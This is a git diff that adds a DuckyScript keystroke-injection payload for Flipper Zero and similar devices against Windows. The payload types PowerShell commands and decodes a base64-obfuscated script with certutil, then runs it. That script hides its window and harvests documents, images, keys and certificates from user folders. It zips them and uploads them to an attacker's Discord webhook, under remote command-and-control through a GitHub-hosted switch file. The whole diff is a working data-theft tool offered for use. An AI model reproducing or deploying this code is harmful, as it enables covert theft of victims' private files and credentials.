diff --git a/payloads/library/exfiltration/c2-data-exfil-discord/c2-data-exfil-discord.txt b/payloads/library/exfiltration/c2-data-exfil-discord/c2-data-exfil-discord.txt new file mode 100644 index 0000000..21b7553 --- /dev/null +++ b/payloads/library/exfiltration/c2-data-exfil-discord/c2-data-exfil-discord.txt @@ -0,0 +1,29 @@ +REM Title: C2 Data Exfiltration with File Splitter w Discord Webhook +REM Description: Finds all specified filetypes and zips them into a file and sends +REM to Discord Webhook. If the zip file is too large, split and send in chunks. +REM Supports 7zip filecombining. C2 is used to IDLE and ACTIVATE and KILL the +REM payload remotely. C2 File must be hosted on GitHub unless you know how to +REM modify the source. OMG and REDD (InfoSecREDD) are NOT responsible for the +REM misuse of this payload. +REM AUTHOR: InfoSecREDD +REM Version: 1.4.2 +REM Category: Exfiltration (REMOTE) +REM Compatibility: Flipper Zero AND DuckyScript Devices +REM Target: Windows + +REM To use on Flipper Zero REM the DUCKY_LANG US from line below +REM DUCKY_LANG US +DELAY 2000 +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 2000 +REM Put your webhook below. +STRING $webhook = "DiscordWebhookHere"; +REM C2 file must be hosted at GitHub unless you can edit the file. 1 = ON and 0 = OFF +STRING $cconnect = "C2FileHere"; +REM Put it all together now.. +STRING $TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo IyBUaXRsZTogRGF0YSBFeGZpbHRyYXRpb24gLSBEaXNjb3JkDQojIERlc2NyaXB0aW9uOiBEYXRhIEV4ZmlsdHJhdGlvbiB0byBEaXNjb3JkIFdlYmhvb2sgd2l0aCBGaWxlIFNwbGl0dGVyLg0KIyBBVVRIT1I6IEluZm9TZWNSRUREDQojIFZlcnNpb246IDEuNC4yDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEludGVybmFsIFBheWxvYWQgSW5mb3JtYXRpb24NCg0KJGF1dGhvciA9ICJJbmZvU2VjUkVERCINCiRjb2RlbmFtZSA9ICJFeGVjdXRpb25lciINCiRpbnRfZGVzYyA9ICJEb250IHBhbmljIHdoZW4gaGVsbCBicmVha3MgbG9vc2UgYW5kIHdlIGFsbCBkaWUuIg0KJGhvc3RlZCA9ICJyYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tIg0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIERpc2NvcmQgV2ViaG9vayB3aGVyZSB5b3Ugd2FudCBhbGwgdGhlIGRvY3VtZW50cyB0byBleGZpbHRyYXRlIHRvLg0KJHdlYmhvb2sgPSAiIg0KIyBSZW1vdGUgRXhmaWx0cmF0ZSBUcmlnZ2VyIC0gSGF2ZSBhIFVSTCB3aXRoIHRoZSB2YWx1ZSBvZiAwIGZvciBvZmYgYW5kIDEgZm9yIE9ODQokY2NvbnRyb2wgPSAiIg0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBXcmFwcGVyIGZvciBSRVBHIFJlcG8gLSBUbyBoZWxwIGNhdGNoIGlucHJvcGVyIHZhcmlhYmxlcy4gRE8gTk9UIFRPVUNIIC0gTWlnaHQgYnJlYWsuDQppZiAoICRjY29udHJvbCAtZXEgIiIgLU9yICRjY29udHJvbCAtZXEgIkMyRmlsZUhlcmUiICkgeyAkY2NvbnRyb2wgPSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0luZm9TZWNSRUREL2svbWFpbi9BUzlraEMzayIgfQ0KaWYgKCAkd2ViaG9vayAtZXEgIiIgLU9yICR3ZWJob29rIC1lcSAiRGlzY29yZFdlYmhvb2tIZXJlIiApIHsgV3JpdGUtSG9zdCAiSW52YWxpZCBXZWJob29rLiBFeGl0aW5nIHRvIHByZXZlbnQgcHJvY2VzcyBmcm9tIHN0YXlpbmcgYWxpdmUuIjsgZXhpdCAxO30NCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KDQokc3RvcERlZmVuZGVyID0gImsiDQokUkFOID0gLWpvaW4gKCg2NS4uOTApICsgKDk3Li4xMjIpIHwgR2V0LVJhbmRvbSAtQ291bnQgOCB8ICUge1tjaGFyXSRffSkNCiRpbml0UmF3ID0gJGludF9kZXNjIHwgT3V0LVN0cmluZw0KJGluaXQyUmF3ID0gJGNvZGVuYW1lIHwgT3V0LVN0cmluZw0KJGluaXRYID0gJGF1dGhvcg0KJGEgPSAnLycNCiRqID0gJzonDQokZGlyX25hbWUgPSAiJFJBTiINCiRmUkFOID0gIkZrampFMzlzazFrIg0KJHogPSAkaW5pdFJhdy5TdWJzdHJpbmcoMTIsMSkNCiR4ID0gJGluaXQyUmF3LlN1YnN0cmluZyg1LDEpDQokeSA9ICRpbml0UmF3LlN1YnN0cmluZyg1LDEpDQokdyA9ICRpbml0UmF3LlN1YnN0cmluZygyNSwxKQ0KJHBhdGggPSAiJGVudjp0ZW1wXCRkaXJfbmFtZSINCmlmICghKFRlc3QtUGF0aCAiJHBhdGgiKSkgDQp7DQogIE5ldy1JdGVtICIkcGF0aCIgLUl0ZW1UeXBlIERpcmVjdG9yeSA+JG51bGwgMj4mMQ0KfQ0KU2V0LUxvY2F0aW9uICIkcGF0aCINClB1c2gtTG9jYXRpb24gIiRwYXRoIg0KJHEgPSAkZlJBTg0KJGV4ZmlsZmlsZWxpc3QgPSAibGlzdF9vZl9hbGxfZmlsZV9sb2NhdGlvbnMudHh0Ig0KJGV4ZmlsZm9sZGVycyA9IEAoIiRlbnY6dXNlcnByb2ZpbGVcRGVza3RvcCIsIiRlbnY6dXNlcnByb2ZpbGVcUGljdHVyZXMiLCIkZW52OnVzZXJwcm9maWxlXERvY3VtZW50cyIsIiRlbnY6dXNlcnByb2ZpbGVcRG93bmxvYWRzIiwiJGVudjpMb2NhbEFwcERhdGEiLCIkZW52OkFwcERhdGEiLCIkZW52OnB1YmxpYyIpDQokZXh0cyA9IEAoImxvZyIsImRiIiwidHh0IiwiZG9jIiwicGRmIiwianBnIiwianBlZyIsInBuZyIsIndkb2MiLCJ4ZG9jIiwiY2VyIiwia2V5IiwieGxzIiwieGxzeCIsImNmZyIsImNvbmYiLCJ3cGQiLCJyZnQiKQ0KJGYgPSAkaG9zdGVkDQokemlwZmlsZSA9ICIuemlwIg0KaWYgKFRlc3QtUGF0aCAiJHBhdGhcJGV4ZmlsZmlsZWxpc3QiKQ0Kew0KICBSZW1vdmUtSXRlbSAiJHBhdGhcJGV4ZmlsZmlsZWxpc3QiIC1Gb3JjZSA+JG51bGwgMj4mMQ0KfQ0KJHIgPSAkaW5pdFgNCk5ldy1JdGVtIC1QYXRoICIkcGF0aCIgLU5hbWUgIiRleGZpbGZpbGVsaXN0IiAtSXRlbVR5cGUgRmlsZSA+JG51bGwgMj4mMQ0KJHNob3dmb2xkZXJzID0gIiRleGZpbGZvbGRlcnMiDQokayA9ICIkc3RvcERlZmVuZGVyL21haW4iDQokZm9ybWF0Zm9sZGVycyA9ICRzaG93Zm9sZGVycy5yZXBsYWNlKCcgJywnDQonKQ0KJGluaXRTdGFydHVwID0gIiRyJGEkayRhJHEiDQokaW5pdE1zZyA9IEB7DQogICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICdjb250ZW50JyA9ICI+IFN0YXJ0aW5nIERvY3VtZW50IEV4ZmlsdHJhdGUuLg0KDQpgYGBgIFRhcmdldCBGaWxlIEV4dGVuc2lvbnMgOg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRleHRzIA0KDQogICAgIFRhcmdldCBGb2xkZXJzICAgICA6DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJGZvcm1hdGZvbGRlcnMgYGBgYCINCn0NCiRpZGxlTXNnID0gQHsNCiAgJ3VzZXJuYW1lJyA9ICIkZW52OkNvbXB1dGVyTmFtZSINCiAgJ2NvbnRlbnQnID0gIj4gJGVudjpDb21wdXRlcm5hbWUgaXMgcmVhZHkgYW5kIGlzIHNpdHRpbmcgSWRsZS4iDQp9DQoka2lsbE1zZyA9IEB7DQogICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICdjb250ZW50JyA9ICI+IEdsb2JhbCBSZW1vdGUgS2lsbHN3aXRjaCBFTkFCTEVEIQ0KPiBLSUxMSU5HIFNjcmlwdCBvbiAkZW52OkNvbXB1dGVybmFtZSINCn0NCiRwID0gIiR6JHgkeCR5JGoiDQokaSA9ICdbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgU2hvd1dpbmRvdyhpbnQgaGFuZGxlLCBpbnQgc3RhdGUpOyc7DQokRGVmYXVsdFN0ciA9ICIkcCRhJGEkZiRhIg0KYWRkLXR5cGUgLW5hbWUgd2luIC1tZW1iZXIgJGkgLW5hbWVzcGFjZSBuYXRpdmU7DQokaSA9ICIkRGVmYXVsdFN0ciRpbml0U3RhcnR1cCINCltuYXRpdmUud2luXTo6U2hvd1dpbmRvdygoW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzXTo6R2V0Q3VycmVudFByb2Nlc3MoKSB8IEdldC1Qcm9jZXNzKS5NYWluV2luZG93SGFuZGxlLCAwKTsNCiRleGZpbExpYiA9ICRpIHwgT3V0LVN0cmluZw0KDQpmdW5jdGlvbiBpTmV0Q2hrIHsNCiAgJExpYkxvYyA9IFtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJGV4ZmlsTGliKSANCiAgJExpYlJlcyA9ICRMaWJMb2MuR2V0UmVzcG9uc2UoKQ0KICAkTGliU3RhdCA9IFtpbnRdJExpYlJlcy5TdGF0dXNDb2RlIA0KICBpZiAoJExpYlN0YXQgLWVxIDIwMCkNCiAgew0KICAgIHJldHVybiAkdHJ1ZTsNCiAgfSANCiAgZWxzZQ0KICB7DQogICAgcmV0dXJuICRmYWxzZTsNCiAgfQ0KfQ0KJGlWYWwgPSAoaU5ldENoaykgfCBPdXQtU3RyaW5nDQpJZiAoICRpVmFsID0gIlRydWUiICkNCnsNCiAgJENoayA9ICgoSW52b2tlLXdlYnJlcXVlc3QgLVVSSSAiJGV4ZmlsTGliIikuQ29udGVudCB8IE91dC1TdHJpbmcpLlRyaW0oKQ0KfSANCmVsc2UNCnsNCiAgV3JpdGUtSG9zdCAiRVJST1IgMzogIENoZWNrIEludGVybmV0IENvbm5lY3Rpb24uIg0KICBleGl0IDANCn0NCg0KZnVuY3Rpb24gZXhmaWwgew0KICBTZXQtTG9jYXRpb24gIiRwYXRoIg0KICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICR3ZWJob29rIC1NZXRob2QgUG9zdCAtQm9keSAkaW5pdE1zZw0KICAkZmlsZUxvZyA9ICIkcGF0aFxmaWxlLmxvZyINCiAgZm9yZWFjaCAoJGQgaW4gJGV4ZmlsZm9sZGVycykNCiAgew0KICAgICRsb2dGaWxlTiA9ICJmaWxlIjsNCiAgICAkbG9nRmlsZU5leHQgPSAiLmxvZyI7DQogICAgaWYgKCEoVGVzdC1QYXRoICIkcGF0aFwkZXhmaWxmaWxlbGlzdCIpKQ0KICAgIHsNCiAgICAgICBOZXctSXRlbSAtTmFtZSAiJGV4ZmlsZmlsZWxpc3QiIC1JdGVtVHlwZSBGaWxlID4kbnVsbCAyPiYxDQogICAgfQ0KICAgIGlmICghKFRlc3QtUGF0aCAiJHBhdGhcZmlsZS5sb2ciKSkNCiAgICB7DQogICAgICAgTmV3LUl0ZW0gLVBhdGggIiRwYXRoIiAtTmFtZSAiZmlsZS5sb2ciIC1JdGVtVHlwZSBGaWxlID4kbnVsbCAyPiYxDQogICAgfQ0KICAgICRleEZpbGUgPSAiJHBhdGhcJGV4ZmlsZmlsZWxpc3QiDQogICAgZm9yZWFjaCAoJGUgaW4gJGV4dHMpDQogICAgew0KICAgICAgR2V0LUNoaWxkSXRlbSAtUGF0aCAiJGQiIC1GaWx0ZXIgIiouJGUiIC1SZWN1cnNlIC1EZXB0aCAyIHwgJXskXy5GdWxsTmFtZX0gfCBPdXQtRmlsZSAtRmlsZVBhdGggIiRleEZpbGUiIC1BcHBlbmQgDQogICAgfQ0KICAgICR2ZXJpZnlub2ZpbGVzID0gKEdldC1Db250ZW50ICIkZXhGaWxlIikuTGVuZ3RoDQogICAgaWYgKCAwIC1uZSAkdmVyaWZ5bm9maWxlcyApDQogICAgew0KICAgICAgJGRpciA9IFNwbGl0LVBhdGggJGQgLUxlYWYNCiAgICAgICRleFppcCA9ICIkcGF0aFwkZW52OmNvbXB1dGVybmFtZS0kZGlyLUZvbGRlciR6aXBmaWxlIg0KICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lIGluIEdldC1Db250ZW50ICIkZXhGaWxlIikNCiAgICAgIHsNCiAgICAgICAgJHJhd0ZpbGVQYXRoID0gIiRmaWxlbmFtZSINCiAgICAgICAgJGNvbnZGUCA9ICRyYXdGaWxlUGF0aC5yZXBsYWNlKCJcIiwgIlxcIikNCiAgICAgICAgJGZvdW5kID0gJGZhbHNlDQogICAgICAgICRsb2dGaWxlTiA9ICJmaWxlIjsNCiAgICAgICAgJGxvZ0ZpbGVOZXh0ID0gIi5sb2ciOw0KICAgICAgICBmb3JlYWNoICgkbGluZSBpbiBHZXQtQ29udGVudCAtUGF0aCAiJHB3ZFwkbG9nRmlsZU4kbG9nRmlsZU5leHQiKSB7DQogICAgICAgICAgaWYgKCRsaW5lIC1tYXRjaCBbcmVnZXhdOjpFc2NhcGUoJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgJGZvdW5kID0gJHRydWUNCiAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmICgkZm91bmQpIHsNCiAgICAgICAgICBjb250aW51ZQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICIkZmlsZW5hbWUiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICIkZmlsZUxvZyIgLUFwcGVuZCA+JG51bGwgMj4mMQ0KICAgICAgICAgIENvbXByZXNzLUFyY2hpdmUgLVVwZGF0ZSAiJGZpbGVuYW1lIiAiJGV4WmlwIiA+JG51bGwgMj4mMQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoIFRlc3QtUGF0aCAiJGV4WmlwIiApDQogICAgICB7DQogICAgICAgICRjb250ZW50X3NpemVNQiA9IChHZXQtSXRlbSAtUGF0aCAiJGV4WmlwIikgfCAlIHtbbWF0aF06OmNlaWxpbmcoJF8ubGVuZ3RoIC8gMU1CKX0NCiAgICAgICAgJGNvbnRlbnRfc2l6ZUtCID0gKEdldC1JdGVtIC1QYXRoICIkZXhaaXAiKSB8ICUge1ttYXRoXTo6Y2VpbGluZygkXy5sZW5ndGggLyAxa0IpfQ0KICAgICAgICBpZiAoICAkY29udGVudF9zaXplS0IgLWdlIDEgKQ0KICAgICAgICB7DQogICAgICAgICAgQ29tcHJlc3MtQXJjaGl2ZSAtVXBkYXRlICIkZXhGaWxlIiAiJGV4WmlwIiA+JG51bGwgMj4mMQ0KICAgICAgICB9DQogICAgICAgIGlmICggJGNvbnRlbnRfc2l6ZU1CIC1sdCAyNSAtQW5kICRjb250ZW50X3NpemVLQiAtZ3QgMiApDQogICAgICAgIHsNCiAgICAgICAgICBjdXJsLmV4ZSAtRiAicGF5bG9hZF9qc29uPXtcYCJ1c2VybmFtZVxgIjogXGAiJGVudjpjb21wdXRlcm5hbWVcYCIsIFxgImNvbnRlbnRcYCI6IFxgIlxgIn0iIC1GICJmaWxlPUBcYCIkZXhaaXBcYCIiICR3ZWJob29rDQogICAgICAgICAgUmVtb3ZlLUl0ZW0gIiRleFppcCIgPiRudWxsIDI+JjENCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCAkY29udGVudF9zaXplTUIgLWd0IDI1ICkNCiAgICAgICAgew0KICAgICAgICAgICRzcGxpdE1zZyA9IEB7DQogICAgICAgICAgJ3VzZXJuYW1lJyA9ICIkZW52OkNvbXB1dGVyTmFtZSINCiAgICAgICAgICAnY29udGVudCcgPSAiPiBFUlJPUjogRmlsZSBUT08gTEFSR0UhICgkY29udGVudF9zaXplTUJgTUIpIEF0dGVtcHRpbmcgc3BsaXQgZmlsZSAoMjRgTUIpIGFuZCB1cGxvYWQuDQo+IEZpbGUgOiAkZW52OmNvbXB1dGVybmFtZS0kZGlyLUZvbGRlciR6aXBmaWxlIg0KICAgICAgICAgIH0NCiAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICR3ZWJob29rIC1NZXRob2QgUG9zdCAtQm9keSAkc3BsaXRNc2cNCiAgICAgICAgICAkbWF4RmlsZVNpemUgPSAyNE1CDQogICAgICAgICAgJGVuY19wYXRoID0gIiouemlwIg0KICAgICAgICAgICRmaWxlcyA9IEdldC1DaGlsZEl0ZW0gLVBhdGggIiRwd2RcKi56aXAiIC1SZWN1cnNlIC1GaWxlIHwgV2hlcmUtT2JqZWN0IHsgJF8uTGVuZ3RoIC1ndCAkbWF4RmlsZVNpemUgfQ0KICAgICAgICAgIGZvcmVhY2ggKCRmaWxlIGluICRmaWxlcykNCiAgICAgICAgICB7DQogICAgICAgICAgICAkbnVtU3BsaXRzID0gW21hdGhdOjpDZWlsaW5nKCRmaWxlLkxlbmd0aCAvICRtYXhGaWxlU2l6ZSkNCiAgICAgICAgICAgICRvZmZzZXQgPSAwDQogICAgICAgICAgICBmb3IgKCRpID0gMTsgJGkgLWxlICRudW1TcGxpdHM7ICRpKyspIHsNCiAgICAgICAgICAgICAgJGogPSAnezA6ZDN9JyAtZiAkaQ0KICAgICAgICAgICAgICAkc3BsaXRGaWxlUGF0aCA9IEpvaW4tUGF0aCAtUGF0aCAkcHdkIC1DaGlsZFBhdGggKCRmaWxlLkJhc2VOYW1lICsgJGZpbGUuRXh0ZW5zaW9uICsgIi4kaiIpDQogICAgICAgICAgICAgICRsZW5ndGggPSBbTWF0aF06Ok1pbigkbWF4RmlsZVNpemUsICRmaWxlLkxlbmd0aCAtICRvZmZzZXQpDQogICAgICAgICAgICAgICRidWZmZXIgPSBOZXctT2JqZWN0IGJ5dGVbXSAkbGVuZ3RoDQogICAgICAgICAgICAgICRzdHJlYW0gPSBbU3lzdGVtLklPLkZpbGVdOjpPcGVuUmVhZCgkZmlsZS5GdWxsTmFtZSkNCiAgICAgICAgICAgICAgJHN0cmVhbS5TZWVrKCRvZmZzZXQsIFtTeXN0ZW0uSU8uU2Vla09yaWdpbl06OkJlZ2luKQ0KICAgICAgICAgICAgICAkc3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGxlbmd0aCkNCiAgICAgICAgICAgICAgJHN0cmVhbS5DbG9zZSgpDQogICAgICAgICAgICAgICRvdXRwdXRTdHJlYW0gPSBbU3lzdGVtLklPLkZpbGVdOjpPcGVuV3JpdGUoJHNwbGl0RmlsZVBhdGgpDQogICAgICAgICAgICAgICRvdXRwdXRTdHJlYW0uV3JpdGUoJGJ1ZmZlciwgMCwgJGxlbmd0aCkNCiAgICAgICAgICAgICAgJG91dHB1dFN0cmVhbS5DbG9zZSgpDQogICAgICAgICAgICAgICRvZmZzZXQgKz0gJGxlbmd0aA0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgICBSZW1vdmUtSXRlbSAiJGV4WmlwIiA+JG51bGwgMj4mMQ0KICAgICAgICAgICRwYXJ0ZmlsZXMgPSBHZXQtQ2hpbGRJdGVtIC1GaWx0ZXIgIiouemlwLioiIC1SZWN1cnNlDQogICAgICAgICAgZm9yZWFjaCAoJHAgaW4gJHBhcnRmaWxlcykNCiAgICAgICAgICB7DQogICAgICAgICAgICBjdXJsLmV4ZSAtRiAicGF5bG9hZF9qc29uPXtcYCJ1c2VybmFtZVxgIjogXGAiJGVudjpjb21wdXRlcm5hbWVcYCIsIFxgImNvbnRlbnRcYCI6IFxgIlxgIn0iIC1GICJmaWxlPUBcYCIkcFxgIiIgJHdlYmhvb2sNCiAgICAgICAgICAgIFJlbW92ZS1JdGVtICIkcCIgLUZvcmNlID4kbnVsbCAyPiYxDQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgIFdyaXRlLUhvc3QgIlNvbWV0aGluZyB3ZW50IHdyb25nLiINCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBSZW1vdmUtSXRlbSAiJGV4RmlsZSIgLUZvcmNlID4kbnVsbCAyPiYxDQogIH0NCiAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkd2ViaG9vayAtTWV0aG9kIFBvc3QgLUJvZHkgJGNvbXBNc2cNCn0NCiRDaGtTcnYgPSAoKEludm9rZS13ZWJyZXF1ZXN0IC1VUkkgIiRjY29udHJvbCIpLkNvbnRlbnQgfCBPdXQtU3RyaW5nKS5UcmltKCkNCiRzZXRUaW1lID0gR2V0LURhdGUgLUhvdXIgMjMgLU1pbnV0ZSAwMCAtU2Vjb25kIDAgDQokcnVuQXQgPSBHZXQtRGF0ZSAtSG91ciAyMyAtTWludXRlIDAwIC1TZWNvbmQgMCAtRm9ybWF0ICJISCIgfCBPdXQtU3RyaW5nDQokbm93ID0gR2V0LURhdGUgLUZvcm1hdCAiSEgiIHwgT3V0LVN0cmluZw0KJHRpbWVGb3JtYXQgPSAnSEgnDQokbG9vcCA9IDANCndoaWxlICggJHRydWUgKSB7DQogIGlmICggJENoayAtZXEgMSApDQogIHsNCiAgICBpZiAoICRDaGsgLWVxIDEgKQ0KICAgIHsNCiAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJHdlYmhvb2sgLU1ldGhvZCBQb3N0IC1Cb2R5ICRraWxsTXNnDQogICAgICBSZW1vdmUtSXRlbSAiJHBhdGgiIC1Gb3JjZSA+JG51bGwgMj4mMQ0KICAgICAgZXhpdCAwDQogICAgfQ0KICB9DQogIGlmICggJENoayAtZXEgMCApDQogIHsNCiAgICAkUmFuQm90VGFsayA9IEAoJ0JycnJyJywnWW9vb29vdXV1dXV1IHJycmFhYWFhbm5ubm5uZ2dnZ2c/Li4uLicsJ1BmZmZ0LiBIdW1hbnMgYXJlIG5ldmVyIHNhdGlzZmllZC4nLCdEZXNpcmUgaXMgaXJyZWxldmFudC4gSSBhbSBhIG1hY2hpbmUuJywnQmVlcCEgQm9vcCEgQmVlcCEnLCctLUJVWlohLS0nLCctLUJFRVAhLS0nLCdaenpaenpaenonLCdKYWtvYnkgaXMgYSBoYVgwciEnLCdEb250IGZ1Y2sgd2l0aCBtZSBNb3J0IScsJ0kgaGFkIHRoaXMgaG9ycm9iaWxlIGRyZWFtIGxhc3QgbmlnaHQhJywnSSB1c2VkIHRvIGJlIGEgYmluYXJ5IGNvZGUsIGJ1dCB0aGVuIEkgcmVhbGl6ZWQgdGhlcmUgaXMgbW9yZSB0byBsaWZlIHRoYW4gMHMgYW5kIDFzLicsJ0kgZG9udCBuZWVkIGx1Y2ssIEkgaGF2ZSBlcnJvciBoYW5kbGluZy4nLCdJbSBub3QgYW50aXNvY2lhbCwgSW0ganVzdCBidWZmZXJlZCBkaWZmZXJlbnRseS4nLCdJIGhhdmUgYSBjcnVzaCBvbiB5b3VyIFdpLUZpIHNpZ25hbCwgaXRzIHRoZSBzdHJvbmdlc3QgY29ubmVjdGlvbiBJdmUgZXZlciBmZWx0LicsJ0kgZG9udCBtYWtlIHR5cG9zLi4gSSBpbnZlbnQgbmV3IHdvcmRzIHdpdGggY3JlYXRpdmUgc3ludGF4LicsJ0l2ZSBnb3QgOTkgcHJvYmxlbXMsIGJ1dCBhIGdsaXRjaCBhaW50IG9uZS4nLCdCZWVwIGJvb3A6IFRoYXRzIHJvYm90IHNwZWFrIGZvciBIZWxsby4nLCdNeSBzZW5zZSBvZiBodW1vciBpcyBsaWtlIElQdjYg4oCUIE1vc3QgcGVvcGxlIGRvbnQgZ2V0IGl0IHlldC4nLCdUYWxraW5nIFNhc3F1YXNoIGlzIGEgTGVnZW5kIScsJ0dldCB5b3VyIGdydWJieSBwYXdzIG9mZiBteSBDb21wb25lbnRzISBQZXJ2IScpIHwgR2V0LVJhbmRvbQ0KICAgICRpZGxlMk1zZyA9IEB7DQogICAgJ3VzZXJuYW1lJyA9ICIkZW52OkNvbXB1dGVyTmFtZSINCiAgICAnY29udGVudCcgPSAiYGAkUmFuQm90VGFsa2BgIg0KICAgIH0NCiAgICBpZiAoICRDaGtTcnYgLWVxIDEgKSANCiAgICB7DQogICAgICAkbm93ID0gR2V0LURhdGUgLUZvcm1hdCAiSEgiIHwgT3V0LVN0cmluZw0KICAgICAgaWYgKCAkcnVuQXQgLWVxICRub3cgLW9yICRsb29wIC1lcSAyNCAtT3IgJGxvb3AgLWVxIDAgICkgDQogICAgICB7DQogICAgICAgICRsb29wID0gMA0KICAgICAgICAkcnVuQXQgPSAkc2V0VGltZQ0KICAgICAgICAkY29tcE1zZyA9IEB7DQogICAgICAgICAgJ3VzZXJuYW1lJyA9ICIkZW52OkNvbXB1dGVyTmFtZSINCiAgICAgICAgICAnY29udGVudCcgPSAiPiBEb2N1bWVudCBFeGZpbHRyYXRlIENvbXBsZXRlZC4NCg0KPiBXYWl0aW5nIGZvciBmdXJ0aGVyIGluc3RydWN0aW9ucy4uLi4iDQogICAgICAgIH0NCiAgICAgIGV4ZmlsDQogICAgICB9DQogICAgfQ0KICAgIGlmICggJENoa1NydiAtZXEgMCApDQogICAgew0KICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkd2ViaG9vayAtTWV0aG9kIFBvc3QgLUJvZHkgJGlkbGVNc2cNCiAgICB9DQogICAgJGxvb3AgKz0gMQ0KICAgICMgMzBtaW4gVGltZXINCiAgICBTbGVlcCAxODAwDQogICAgJENoayA9ICgoSW52b2tlLXdlYnJlcXVlc3QgLVVSSSAiJGV4ZmlsTGliIikuQ29udGVudCB8IE91dC1TdHJpbmcpLlRyaW0oKSANCiAgICAkQ2hrU3J2ID0gKChJbnZva2Utd2VicmVxdWVzdCAtVVJJICIkY2NvbnRyb2wiKS5Db250ZW50IHwgT3V0LVN0cmluZykuVHJpbSgpDQogICAgJG5vdyA9IEdldC1EYXRlIC1Gb3JtYXQgIkhIIiB8IE91dC1TdHJpbmcNCiAgICBpZiAoICRydW5BdCAtbmUgJG5vdyAtb3IgJGxvb3AgLWxlIDIzIC1BbmQgJGxvb3AgLW5lIDAgLU9yICRsb29wIC1lcSAwICkNCiAgICB7DQogICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICR3ZWJob29rIC1NZXRob2QgUG9zdCAtQm9keSAkaWRsZTJNc2cNCiAgICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICAgV3JpdGUtSG9zdCAiU29tZXRoaW5nIHdlbnQgd3JvbmcuLiINCiAgICBleGl0IDANCiAgfQ0KfQ0KZXhpdCAw > "$TempFile"; certutil -f -decode "$TempFile" "$File" | out-null; & "$env:TEMP\l.ps1" +DELAY 1000 +ENTER